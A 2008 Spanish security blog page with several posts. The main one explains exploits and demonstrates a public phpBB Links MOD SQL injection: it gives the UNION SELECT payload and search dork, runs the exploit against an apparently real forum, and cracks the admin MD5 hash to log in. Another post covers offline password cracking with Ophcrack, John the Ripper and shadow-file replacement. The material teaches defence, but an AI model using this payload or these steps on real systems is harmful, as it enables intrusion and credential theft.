Founder of MalwareIntelligence, a site dedicated to research on all matters relating to anti-malware security, criminology computing and information security in general, always from a perspective closely related to the field of intelligence.

miércoles, 9 de abril de 2008

Ejemplo de cómo funciona un exploit

Quienes no saben lo que son los exploits les sugiero que lean detenidamente este artículo porque son justamente estas herramientas las que utilizan los crackers para infiltrarse en sistemas desprotegidos o descuidados, los cuales muchas veces permiten accesos de root o Administrador en la máquina afectada. Vamos por paso, en primer lugar ¿que es un exploit?. Son pequeños trozos de código (en cualquier lenguaje) que están escritos para aprovecharse de vulnerabilidades y/o errores específicos dentro de un sistema... para lograr acceder a él de forma ilegítima o causar otro tipo de problemas.

Hay que tener en cuenta siempre que TODOS los software del mundo son desarrollados por humanos, por lo tanto es normal encontrarse con errores en los códigos. Estos errores, comúnmente llamados
bugs, pueden ser del tipo desbordamiento de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables, etc, etc.

Por ejemplo si se encontró un error en un software de correo el cual al enviar un telnet al servidor y ejecutar una serie de instrucciones, satura el búfer del software de correos y provoca una denegación de servicio (DoS). Entonces un hacker escribirá un código que sirva para explotar (de ahí el nombre "exploit) esta vulnerabilidad y con un par de instrucciones más quizá sea posible abrir un acceso remoto con permisos de root en el servidor afectado.

Podríamos catalogar a los exploits en dos tipos diferentes:
1.- 0-day
2.- Públicos

Los exploits de tipo 0-day son aquellos que los hackers mantienen ocultos al mundo y los utilizan para explotar los sistemas que quieren. De alguna manera son trozos de código privados.
Por otro lado los exploits públicos son aquellos que los hackers decidieron no utilizar más en su propio beneficio y los liberan públicamente a algunos de los sitios webs más conocidos como www.milw0rm.com, www.securityfocus.com, www.packetstormsecurity.org, etc. Muchas veces pueden pasar varios meses o años entre que el exploit pase de condición 0-day a ser público. Es por esto mismo que los primeros son más peligrosos, ya que al no conocerse la vulnerabilidad y no ser pública entonces existen muchos más servidores afectados cuyos administradores ni siquiera se enteran de que pueden ser atacados. Al hacerse públicos, normalmente se entrega la solución o bien los fabricantes de software reaccionan y sacan una actualización de seguridad crítica.

Esta es la razón por la cual hay que siempre tener dos cosas presentes:
1.- El tipo de software y la versión exacta que tenemos instalado en nuestras máquinas, ya sea como cliente (ejemplo Microsoft Outlook) o servidor (Exchange, Postfix, Sendmail, etc)
2.- Nunca dejar de revisar los sitios de exploits mencionados anteriormente. Increíblemente hay gente que se dedica a estar atentos a estos exploits para inmediatamente cuando se publica comenzar a atacar sitios webs. Estos son los llamados script-kiddies. Pero por más despectivo que parezca el nombre, son igualmente peligrosos.

Debido a eso es que en la columna izquierda de este sitio web aparecen las últimas vulnerabilidades y exploits encontrados que han sido publicadas.

Ejemplo de un exploit:
Hace un par de días (31 de Agosto) atrás salió en www.milw0rm.com el siguiente exploit:
phpBB Links MOD 1.2.2 Remote SQL Injection Exploit
El texto es bastante claro. El módulo "Links" del sistema de foros llamado phpBB en su versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener la password de Administrador y poder loguearse como tal.
Para ver el exploit haga click aquí.

Este exploit no es muy largo (ya dijimos que son pequeños trozos de código escritos para una vulnerabilidad específica) y está escrito en lenguaje PERL. Por lo tanto para ejecutarlo habrá que tener PERL instalado en nuestras máquinas. Los sistemas Linux/UNIX vienen con PERL.

Lo que se hace es copiar el código y guardarlo en un archivo con extensión .pl (de PERL).

h4x0r@tarro:~/Desktop/exploit$ ls -lh
total 4,0K
-rw-r--r-- 1 h4x0r h4x0r 1,5K 2007-09-03 11:53 phpBB2.pl
h4x0r@tarro:~/Desktop/exploit$

y simplemente ejecutarlo. En este caso nos irá pidiendo los datos del sitio web que queremos atacar. Pondré en rojo esto para diferenciarlo.

h4x0r@tarro:~/Desktop/exploit$ perl phpBB2.pl

phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit

Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*

=> Insert URL
=> without ( http )
=>

www.motoqueros.cl

=> Insert directory
=> es: /forum/ - /phpBB2/
=>

/foros/

=> User ID
=> Number:
=>

1

Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b

Y eso sería todo. El exploit fue capaz de conectarse a la base de datos y recuperar el password cifrado del usuario con ID 1 (admin en este caso). Esta cadena de 32 caracteres corresponde a un hash en md5. De mucho no nos sirve tener la clave cifrada, pero podemos recuperarla atacándola con fuerza bruta (o diccionario) en los siguientes sitios web:
http://md5.xpzone.de/
http://gdataonline.com/seekhash.php
Ponemos el hash y comprobamos la la clave de admin es 12345. Ahora podemos loguearnos en http://www.sitioweb.com/foros/ usando estos datos.

Existen exploits mucho más elaborados y poderosos, pero esto fue un ejemplo para mostrar cuan simple puede ser recuperar una contraseña o acceder ilegítimamente a un servidor cuando se le aplican los exploits correctos.

Fuente: http://www.seguridad-informatica.cl

Ver más

SPLOG: COMENTARIOS NO DESEADOS EN TU BLOG
Los Blogs fueron desarrollados pensando en la comunicación entre usuarios y la creación de comunidades, por lo que se permite la interacción entre ellos.
El dueño del Blog, escribe sobre una temática determinada y sus lectores tienen la posibilidad de realizar comentarios sobre cada post (artículo) desarrollado.

Actualmente, esta nueva forma de interacción es la que brinda la posibilidad de realizar publicidad no deseada o incluso, permitir la propagación de códigos dañinos.
Esta nueva técnica denominada Splog -palabra originada de la combinación de Spam más Blog- permite que un sitio web sea publicitado a través de comentarios que son agregados a Blogs.

Estos comentarios pueden contener publicidad y/o enlaces a otros sitios que, en algunos casos, pueden alojar adware, spyware y otros códigos maliciosos.


Seguir leyendo

Fuente: www.eset-la.com

Ver más

TUTORIAL DE NESSUS, UN EXCELENTE AUDITOR DE VULNERABILIDADES
Nessus es uno de los scanners de vulnerabilidades más utilizados en el mundo, ya que no tiene costo por instalación y uso, y a la vez uno de los más respetados debido a la gran cantidad de información que es capaz de obtener de los sistemas que audita.

Originalmente fue desarrollado para funcionar únicamente sobre plataformas Unix, pero con el tiempo se abrió paso a la posiblidad de funcionar con la misma eficacia sobre sistemas Windows. Nessus es un software que trabaja en modo cliente-servidor. El servidor es quien se encarga de realizar todas las auditorías y el cliente es la interfaz por donde se le dan las indicaciones correspondientes, como por ejemplo IP o dominio de la máquina a escanear, tipo de auditoría, modo de informe, etc.

La ventaja es que se puede tener el... servidor montado en una máquina Linux/Unix y el cliente se puede instalar en Windows.

Es una herramienta fundamental para todos quienes deseen darle un poco más de seguridad a sus sistemas ya que se encargará de decirnos la gran mayoría de problemas que tenemos, como explotarlos y mejor aún, como solucionarlos. Aunque quizá el mayor inconveniente es que todos los resultados los muestra únicamente en idioma inglés, por lo que hay que conocer bastante bien a nivel técnico las definiciones informáticas pertinentes. De acuerdo a Ron Gula, Gerente General de Teenable Security, la empresa detrás de Nessus, el problema de implementar múltiples idiomas es el soporte en caso de problemas y además que se debiesen traducir los más de 20 mil plugins con los que cuenta este software. Por ahora no tienen intenciones de trabajar con otro idioma aparte de inglés, por lo que habrá que acostumbrarse.

La versión para Windows (que puede ser descargada desde www.nessus.org), incluye todo en uno el servidor y el cliente para ser instalados automáticamente en la misma máquina, por lo cual resulta muy sencillo comenzar a trabajar con él.

Para quienes se interesen más en probar este gran scanner pueden revisar los siguientes enlaces:
- Website oficial
- Tutorial en español
- Video demostrativo de uso de Nessus. (en inglés).

Fuente: http://www.seguridad-informatica.cl

Ver más

UN SIMPLE CHECKLIST DE SEGURIDAD PARA PERSONAS CON CONOCIMIENTOS A NIVEL DE USUARIO
Si usted es de esas personas que acostumbra a sentirse un poco alejado de este tipo de sitios web donde la temática a tratar parece tan técnica y alejada a su realidad debido a la profundidad de los artículos y comentarios en lo que respecta a seguridad informática, entonces esta guía le será muy útil. Pensando en que la seguridad informática NO DEBE ser algo de exclusivo conocimiento y manejo de usuarios avanzandos, administradores de sistema, jefes de informática y similares si no que también de usuarios que no tienen mayor relación con los computadores que leer el diario online, leer el correo o utilizar mensajería instantánea, he elaborado una breve pero efectiva lista de chequeos que le ayudará a tener una idea de qué tan vulnerable puede estar usted a sufrir un ataque hacia sus datos. Vale decir que aunque el documento está orientado a usuarios con conocimientos mínimos de computación, también puede ser revisado por cualquier persona que le guste llevar un orden en cuanto a sus datos privados.

Para revisar el checklist haga click EN ESTE ENLACE

Fuente: http://www.seguridad-informatica.cl

Ver más

viernes, 4 de abril de 2008

GENERANDO INFORMES EN HTML CON NMAP
NMAP (Network Mapper) ha sido, es y todo dice que seguirá siendo la principal herramienta de seguridad, tanto para quienes desean auditar sus servidores como para los hackers que buscan infilitrarse en ellos, en lo que a escaneo de puertos se refiere.
A pesar de que existe una interfaz gráfica para manipular Nmap llamada NmapFE (FE = Front End) muchos siguen trabajando en su fenomenal línea de comandos. Sin embargo, quizá el detalle que le faltaba para ser una utilidad casi perfecta era la capacidad de generar una salida en HTML de los escaneos realizados.

Nmap Report Tool es una aplicación cuya licencia es libre que permite mostrar estos resultados en HTML. Diseñada utilizando el lenguaje PERL por marcositu le permitirá mantener un histórico amigable de sus auditorías con Nmap.


Descargar aquí

Fuente: http://www.seguridad-informatica.cl

Ver más

MITOS Y LEYENDAS: LAS CONTRASEÑAS EN WINDOWS I (TIPOS DE ATAQUES)
Vamos a escribir algunos textos más o menos técnicos sobre las contraseñas en Windows. Existen diferentes mitos y leyendas que pensamos no han sido explicados de forma directa (y sin aspavientos) en la mayoría de la literatura que hemos leído al respecto. Publicaremos de sencilla, una serie de artículos aclarando detalles que consideramos interesantes sobre las contraseñas locales en Windows, sus puntos fuertes y débiles.

Cuando nos presentamos en una máquina Windows, la contraseña que proporcionamos debe estar almacenada en algún lugar para que el sistema operativo la reconozca y bien nos deje pasar, bien rechace el acceso.

Almacenar la contraseña y compararla sin más con la que proporciona el usuario, sería una muy mala política de seguridad. Cualquiera con acceso al disco duro podría robar la contraseña en texto plano. Lo que se almacena en realidad es el resultado de aplicar un algoritmo a la clave
introducida. Esto da como resultado una "firma" (o tradicionalmente llamado "hash"), un valor que en teoría sólo es producido por una contraseña en concreto. Son firmas lo que siempre se comparará entre sí, nunca contraseñas. En Windows, ese hash se encuentra físicamente en el
archivo de nombre SAM (Security Account Manager) para contraseñas locales y en el archivo ntds.dit del controlador de dominio para los usuarios que se validan contra controladores de dominio. Nos centraremos en las contraseñas locales.

Leer más

Ver más

GUÍA DE RECUPERACIÓN DE CONTRASEÑAS DE ADMINISTRADOR EN WINDOWS Y ROOT EN LINUX
¿Se olvidó su clave de usuario de Windows? o peor aún, ¿se olvidó de la contraseña de Administrador de Windows? o incluso peor, ¿se olvidó la clave de root en su sistema Linux? Bueno, no todo está perdido. Afortunadamente existen varios métodos para recuperar las claves que necesita. El requisito principal para recuperar la contraseña es que se esté trabajando en la máquina requerida en forma local y no remota. Aunque existen algunos métodos para recuperar (o más bien simplemente "obtener") una clave con privilegios de administración de forma remota, aquí pretendo entregar una guía, la cual me ha resultado bastante bien en estos casos, para trabajar en forma local. Asumiendo que tenemos todas las medidas de seguridad física necesarias para impedir que personas ajenas o intrusos accedan localmente a nuestro PC, pueden intentar los siguientes pasos:

Recuperación de las contraseñas de Windows
De todos los software que he probado con este propósito, el que mejor... resultados ha dado ha sido Ophcrack. Ophcrack es una herramienta que crackea directamente los hashes de las contraseñas de Windows y puede ser descargado cómodamente en un Live CD basado en la distribución Linux llamada SLAX (quizá pronto tengamos una versión de Windows que crackee las contraseñas de Linux, quien sabe) el cual simplemente se debe hacer ejecutar al arranque del sistema para que bootee.

Está diseñado para hacer el proceso lo más "desatendido" (la palabra de moda) que se pueda, de tal manera que el usuario idealmente solo ingrese el CD en su unidad de lectura de CD's y espere tranquilamente a que este maravilloso software le entregue en pocos minutos las contraseñas de todos los usuarios de la máquina Windows.
Es posible que no arranque inmediatamente debido a que el servidor gráfico no haya reconocido el dispositivo de video de la máquina según su configuración por defecto. En este caso lo único que se debe hacer es ingresar en la consola como root (la password de root aquí es toor) y ejecutar la utilidad de autoconfiguración del entorno gráfico con el comando xconf. Después que se haya configurado correctamente el entorno gráfico del sistema, se inicia el mismo con startx desde la línea de comandos.

Al cargar el escritorio se ejecutará la aplicación Ophcrack automáticamente, tal como se muestra en el siguiente screenshot:

Y simplemente esperar hasta que termine. En promedio Ophcrack se demora entre 5 a 15 minutos en romper las claves con un 99% de eficacia incluyendo soporte para Windows Vista.

El LiveCD de Ophcrack puede ser descargado en formato .iso desde ESTE ENLACE

Recuperación de claves para Linux

Es más común de lo que se piensa el hecho de olvidarse o perder la clave de root de Linux, pero es muy simple recuperarla. Lo primero que se debe hacer es utilizar el modo "single user" que incorporan todos los kernels de Linux para recuperar la contraseña, pero si este método falla (hay muchos que no se atreven a meterle mano al kernel de Linux, y con justa razón), utilizaremos el plan B: montaje de discos.

Para esto se necesita simplemente un LiveCD de cualquier distro de Linux. Ya que anteriormente habíamos hablado de Ophcrack, se puede utilizar el mismo CD para esta tarea, así tendremos un sistema para recuperar claves de Windows y Linux en 1 solo CD.

Bien. Lo primero es arrancar el LiveCD y en el escritorio ejecutar una consola (o terminal) con permisos de root.

En segundo lugar se debe identificar cuales son los discos duros existentes en la máquina y con qué nombre los detecta el LiveCD. Si el PC utiliza discos de tipo IDE, el siguiente comando debiese ayudar a identificarlo:
# ls /dev/*hd*
o si es de tipo SATA o SCSI:
# ls /dev/*sd*

Vamos a suponer que nuestro disco duro que tiene la partición de Linux se llama /dev/hda (que sería lo más común). Ahora que ya identificamos el disco duro debemos identificar cuales son las particiones de ese disco que tiene el sistema Linux. Para eso se utiliza fdisk:
# fdisk /dev/hda
Si todo sale OK, se debe presionar la letra "p" (de PRINT) para que en pantalla aparezcan las particiones del disco /dev/hda. Aquí se debe reconocer cual de las particiones que muestra Linux corresponde a la del sistema propiamente tal, cual es la swap y cual es la de Windows si es que hubiese (u otro sistema operativo residente en la máquina).

Siguiendo nuestro ejemplo diremos que la partición Linux del disco duro es /dev/hda9. Con ese dato ya tenemos casi todo listo. El siguiente paso es crear un directorio para montar el volumen dentro del LiveCD (el volumen quedará montado en la RAM de la máquina solamente).

# mkdir /mnt/linux/
Y luego se debe montar la partición Linux del disco duro en este nuevo directorio:
# mount -t ext3 /dev/hda9 /mnt/linux
De esta manera tendremos el sistema completo dentro de /mnt/linux.

Aquí podemos optar por dos cosas:
1) Invocar a John The Ripper (más conocido como Juanito el destripador) y atacar directamente el archivo de contraseñas de Linux.

# john /mnt/linux/etc/shadow
Pero para que esto funcione se deben cumplir dos condiciones:
a.- Previamente de debe instalar John The Ripper en el LiveCD ya que muchos no lo traen incorporado.
b.- Las claves de sistema deben ser fáciles de adivinar. Una contraseña fuerte puede tardar MILLONES DE AÑOS en romperse.

2) Modificar la línea del archivo /mnt/linux/etc/shadow donde está la clave de root (la primera) por la primera línea del archivo /etc/shadow que contiene el hash de la clave de root del LiveCD. De esta manera se le estará dando al usuario root del disco duro de Linux la clave del usuario root del LiveCD que estemos utilizando. No hay que olvidar que las contraseñas en Linux se almacenan en el archivo /etc/shadow procesadas bajo un algoritmo unidireccional el cual genera un hash que es matemáticamente imposible de descrifrar. Es por esto que cada vez que se presiona el usuario y password en la pantalla de login de Linux, el gestor de autenticación crea el hash de la contraseña ingresada y simplemente la compara con la que existe en /etc/shadow. Si son idénticas entonces se entiende que es la contraseña correcta, si no lo son entonces hay que intentar nuevamente y así.

Luego desmontar todo:
# umount -a
y reiniciar la máquina:
# reboot

No se olvide de retirar el LiveCD para que bootee el sistema Linux original desde el disco duro. Si ha hecho estos pasos con el cd de Ophcrack, entonces su nueva clave de root sería: root.

Como decía anteriormente, existen otras formas más tradicionales de obtener restablecer la contraseña de Linux pero sin duda que la que he mencionado aquí es la más efectiva aunque al principio cueste un poco.

Este tema va directamente relacionado con los controles que se deben implementar en el acceso físico a los computadores y servidores de una empresa. Bastaría con este procedimiento (el cual con algo de práctica puede tomar menos de 10 minutos) y una persona mal intencionada podría acceder localmente como root a una máquina importante de la empresa donde sería muy simple instalar un rootkit o un troyano para seguir manejándola de forma remota sin que siquiera se enteren los administradores.

Es de esperar, como de costumbre, que esta pequeña guía sea útil para alguien. De ese modo habrá valido el esfuerzo de haber escrito esto.

Fuente: http://www.seguridad-informatica.cl

Ver más

MECÁNICA DEL HACKER: ENTENDIENDO SUS MOVIMIENTOS PARA PREVENIR ACCESOS DE INTRUSOS
De una u otra manera todos quienes tienen incluso una mínima participación con el mundo de la computación y sobre todo Internet se hacen parte o comprenden en algún grado el concepto de "hacker". Más allá de cualquier discusión sobre el correcto uso de esta palabra, entenderemos en este post por "hacker" a todo atacante que amenace la seguridad de un sistema.

Los expertos en seguridad informática coinciden en describir los pasos que realiza un hacker para realizar una intrusión en un sistema ajeno, y también las técnicas necesarias en cada paso para continuar al siguiente hasta que logran su máximo objetivo: obtener acceso root o Administrador en la máquina comprometida. Aquí pretendo hacer un breve resumen de la línea de vida de un ataque común.

Seguir leyendo

Ver más